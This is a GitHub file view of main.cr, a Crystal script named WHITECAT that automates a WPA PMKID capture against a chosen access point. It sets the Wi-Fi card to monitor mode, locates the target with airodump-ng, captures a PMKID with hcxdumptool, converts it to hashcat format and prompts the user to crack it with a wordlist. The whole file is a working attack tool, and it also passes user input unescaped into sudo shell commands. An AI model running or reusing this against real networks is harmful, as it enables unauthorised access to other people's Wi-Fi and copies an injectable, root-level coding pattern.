-
Notifications
You must be signed in to change notification settings - Fork 1
/
main.cr
319 lines (308 loc) · 12.6 KB
/
main.cr
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
require "json"
require "colorize"
def startup_banner()
puts "
▄▀▀▄ ▄▀▀▄ ▄▀▀▄ ▄▄ ▄▀▀█▀▄ ▄▀▀▀█▀▀▄ ▄▀▀█▄▄▄▄ ▄▀▄▄▄▄ ▄▀▀█▄ ▄▀▀▀█▀▀▄
█ █ ▐ █ █ █ ▄▀ █ █ █ █ █ ▐ ▐ ▄▀ ▐ █ █ ▌ ▐ ▄▀ ▀▄ █ █ ▐
▐ █ █ ▐ █▄▄▄█ ▐ █ ▐ ▐ █ █▄▄▄▄▄ ▐ █ █▄▄▄█ ▐ █
█ ▄ █ █ █ █ █ █ ▌ █ ▄▀ █ █
▀▄▀ ▀▄ ▄▀ ▄▀ ▄▀ ▄▀▀▀▀▀▄ ▄▀ ▄▀▄▄▄▄ ▄▀▄▄▄▄▀ █ ▄▀ ▄▀
▀ █ █ █ █ █ █ ▐ █ ▐ ▐ ▐ █
▐ ▐ ▐ ▐ ▐ ▐ ▐ ▐ ", "\n\n"
end
def config_banner()
system "clear"
puts ""
print `echo "\t ___,-------.___"`.colorize.light_yellow
print `echo "\t ,--' '--."`.colorize.light_yellow
print `echo '\t / \\\'`.colorize.light_yellow
print `echo '\t / \\\'`.colorize.light_yellow
print `echo "\t | |"`.colorize.light_yellow
print `echo "\t | |"`.colorize.light_yellow
print `echo "\t | |~~~~~~~~~| |"`.colorize.light_yellow
print `echo "\t | \\ / |"`.colorize.light_yellow
print `echo "\t | \\ / |"`.colorize.light_yellow
print `echo "\t \\ \\ / /"`.colorize.light_yellow
print `echo "\t \\ | | /"`.colorize.light_yellow
print `echo "\t \\ | | /"`.colorize.light_yellow
print `echo "\t \\ | | /"`.colorize.light_yellow
print `echo "\t \\ | | /"`.colorize.light_yellow
print `echo "\t \\____|___| ___/"`.colorize.light_yellow
print `echo "\t )___,-----'___("`
print `echo "\t )___,-----'___("`
print `echo "\t )___,-----'___("`
print `echo "\t )___,-----'___("`
print `echo "\t \\_____________/"`
print `echo "\t \\___/',"`
puts "\n\t WHITECAT Config Generator",""
puts "\t\t Version 1a".colorize.light_red
end
def createConfig()
config_banner()
print "\n[~]".colorize.light_magenta
print " Enter BSSID > "
inputBSSID = gets(chomp=true)
print "\n[~]".colorize.light_magenta
print " Enter Wifi Interface name > "
inputWifi = gets(chomp=true)
if File.exists?("/usr/share/WHITECAT/config.json")
`sudo rm /usr/share/WHITECAT/config.json`
end
`sudo touch /usr/share/WHITECAT/config.json`
`sudo echo '{' >> /usr/share/WHITECAT/config.json`
`sudo echo ' "bssid": "#{inputBSSID}",' >> /usr/share/WHITECAT/config.json`
`sudo echo ' "wifi_card": "#{inputWifi}"' >> /usr/share/WHITECAT/config.json`
`sudo echo '}' >> /usr/share/WHITECAT/config.json`
puts "\n[!] Config generated".colorize.light_green, ""
puts `sudo cat /usr/share/WHITECAT/config.json`
print "\n", "[~]".colorize.light_magenta
puts " config.json file updated successfully!", ""
end
class Master
# Class init
def initialize()
@json_object = JSON.parse(File.read("/usr/share/WHITECAT/config.json"))
end
# Banner creator
def banner()
system "clear"
puts "
█ █░ ██░ ██ ██▓▄▄▄█████▓▓█████ ▄████▄ ▄▄▄ ▄▄▄█████▓
▓█░ █ ░█░▓██░ ██▒▓██▒▓ ██▒ ▓▒▓█ ▀ ▒██▀ ▀█ ▒████▄ ▓ ██▒ ▓▒
▒█░ █ ░█ ▒██▀▀██░▒██▒▒ ▓██░ ▒░▒███ ▒▓█ ▄ ▒██ ▀█▄ ▒ ▓██░ ▒░
░█░ █ ░█ ░▓█ ░██ ░██░░ ▓██▓ ░ ▒▓█ ▄ ▒▓▓▄ ▄██▒░██▄▄▄▄██░ ▓██▓ ░
░░██▒██▓ ░▓█▒░██▓░██░ ▒██▒ ░ ░▒████▒▒ ▓███▀ ░ ▓█ ▓██▒ ▒██▒ ░
░ ▓░▒ ▒ ▒ ░░▒░▒░▓ ▒ ░░ ░░ ▒░ ░░ ░▒ ▒ ░ ▒▒ ▓▒█░ ▒ ░░
▒ ░ ░ ▒ ░▒░ ░ ▒ ░ ░ ░ ░ ░ ░ ▒ ▒ ▒▒ ░ ░
░ ░ ░ ░░ ░ ▒ ░ ░ ░ ░ ░ ▒ ░
░ ░ ░ ░ ░ ░ ░░ ░ ░ ░
░", "\n"
puts "\t\t - NO NONCE-SENSE PMKID GRABBER -".colorize.light_red
puts ""
puts "\t\t\t -Version 2a-"
end
# Locates our BSSID
def findBSSID()
#Creates the first capture as a child
child_pid = Process.fork() do
puts ">> Starting airodump-ng survey".colorize.light_magenta, ""
#Grabs wifi interface from json
iface = @json_object["wifi_card"].to_s
bssid = @json_object["bssid"]
#Starts the airodump process
`sudo airodump-ng -w findBSSID --band abg --bssid #{bssid} --output-format csv #{iface}`
Signal::INT.trap() do
puts "Signal caught. Exiting cleanly."
exit()
end
loop do end
end
# Doesnt continue until airodump creates the file
forever = true
while forever == true
if File.exists?("findBSSID-01.csv")
forever = false
end
end
#This will scan the .csv file for our target bssid
scanning = true
dotCounter = 0
while scanning == true
bssid = @json_object["bssid"].to_s
sleep 1
if dotCounter < 1
print "[~] Waiting for BSSID"
dotCounter +=1
else
print "."
dotCounter +=1
end
#If found, send a kill command to our child process
if File.read("findBSSID-01.csv").includes?(bssid)
puts " // BSSID #{bssid} has been found! ".colorize.light_green, ""
print "[~] Processing channel information.. ", ""
channel_check = true
while channel_check == true
channel_num = `grep -m 1 '#{bssid}' findBSSID-01.csv | awk -F , '{print $4}'`.strip
if channel_num == "-1"
#continue
else
print "// Channel ".colorize.light_green
print channel_num.colorize.light_green
puts " found".colorize.light_green, ""
channel_check = false
end
end
child_pid.signal(Signal::KILL)
scanning = false
`sudo pkill airodump-ng`
sleep 1
end
end
# Launch FIND CLIENT
dump_PMKID(channel_num)
end
# Sets monitor mode
def monset()
# Find interface on system
iface = @json_object["wifi_card"]
puts "\n>>> Placing #{iface} into monitor mode".colorize.light_green
checker = `sudo iw dev | awk '$1=="Interface"{print $2}'`
checkerArray = checker.split("\n")
if !checkerArray.includes? (iface)
puts "\n[!] #{iface} not found".colorize.light_red
exit()
end
# Begin our process
`sudo airmon-ng check kill >/dev/null`
`sudo ip link set #{iface} down`
`sudo iw dev #{iface} set type monitor`
`sudo ip link set #{iface} up`
#`sudo hcxdumptool -m #{iface}`
puts "", `sudo iwconfig #{iface}`
# Verify monitor mode
finalMon = `sudo iwconfig #{iface} | grep Mode:Monitor`
if finalMon == ""
puts "Wireless card failed to enter monitor mode"
exit()
end
end
# Locates our BSSID
def dump_PMKID(channel_num)
#Creates the first capture as a child
child_pid = Process.fork() do
puts ">> Starting hcxdumptool..".colorize.light_magenta, ""
#Grabs wifi interface from json
iface = @json_object["wifi_card"].to_s
tmp_bssid = @json_object["bssid"].to_s
bssid = tmp_bssid.delete(':')
if bssid.includes?(":")
puts "[!!!] Bssid includes colons, .delete method failed!"
exit()
end
# places BSSID into a file
`touch bssidFilter`
`echo #{bssid.upcase} > bssidFilter`
#Starts the airodump process
`touch tmpTracker`
`sudo hcxdumptool -i #{iface} -o dump_PMKID.pcapng --enable_status=15 --filterlist_ap=bssidFilter --filtermode=2 >> tmpTracker`
Signal::INT.trap() do
exit()
end
loop do end
end
# Doesnt continue until airodump creates the file
forever = true
while forever == true
if File.exists?("dump_PMKID.pcapng")
forever = false
end
end
#This will scan the .csv file for our target bssid
scanning = true
dotCounter = 0
while scanning == true
sleep 1
if dotCounter < 1
print "\n[!] ".colorize.light_green, "Waiting for PMKID"
dotCounter +=1
else
if dotCounter > 5
print "\r[!] ".colorize.light_green, "Waiting for PMKID"
dotCounter = 0
end
print "."
dotCounter +=1
end
#If found, send a kill command to our child process
if File.read("tmpTracker").includes?("PMKID")
bssid = @json_object["bssid"].to_s
puts " // PMKID for #{bssid} has been found! ".colorize.light_green
child_pid.signal(Signal::KILL)
# Restart our card
iface = @json_object["wifi_card"].to_s
`sudo pkill hcxdumptool`
`sudo ip link set #{iface} down`
`sudo iw dev #{iface} set type managed`
`sudo ip link set #{iface} up`
`sudo NetworkManager restart`
scanning = false
end
end
# Prep pcap for hashcat
puts "\r>> Converting .pcapng to 22000 hashcat format".colorize.light_magenta, ""
puts `sudo hcxpcapngtool -o pmkid.22000 dump_PMKID.pcapng`
print "\r"
puts <<-'EOF'
,-. _,---._ __ / \
/ ) .-' `./ / \
( ( ,' `/ /|
\ `-' \'\ / |
`. , \ \ / |
/`. ,'-`----Y |
( ; | '
| ,-. ,-' | /
| | ( | WHITECAT | /
) | \ `.___________|/
`--' `--'
EOF
print "\n[!]".colorize.light_red, " PMKID Converted!, run ", "sudo hashcat -m 22000 pmkid.22000 [wordlist] ".colorize.light_yellow, "\n"
end
# End of class
end
def main()
begin
# Check if root
rootCheck = `whoami`.strip
if rootCheck != "root"
puts ""
STDERR.print "Run this as root, dingus (≖︿≖✿)".colorize.red
print "\n"
exit()
end
# Cleanup old survey(s)
`sudo rm -rf bssidFilter*`
`sudo rm -rf dump_PMKID*`
`sudo rm -rf pmkid.22000*`
`sudo rm -rf tmpTracker*`
`sudo rm -rf findBSSID*`
# Check for config file && run if not present
if !Dir.exists?("/usr/share/WHITECAT")
`sudo mkdir /usr/share/WHITECAT`
createConfig()
elsif !File.exists?("/usr/share/WHITECAT/config.json")
createConfig()
elsif File.exists?("/usr/share/WHITECAT/config.json")
system "clear"
startup_banner()
print "[?]".colorize.light_magenta
print " Do you wish to create a new config?\n"
print "\n1. Yes\n2. No\n\n"
print "[WHITECAT] > ".colorize.light_green
question = gets(chomp=true)
if question == "1"
createConfig()
end
end
# Unleash the moth
🤍 = Master.new()
# trapper
Signal::INT.trap() do
`sudo pkill hcxdumptool`
`sudo pkill hcxpcaptool`
exit()
end
# Do stuff
🤍.banner
🤍.monset
🤍.findBSSID
ensure
#startup_banner()
puts "\n\t\tHashcat the cat with the hash....cat".colorize.red
`sudo pkill hcxdumptool`
`sudo pkill hcxpcaptool`
sleep 1
exit()
end
end
main()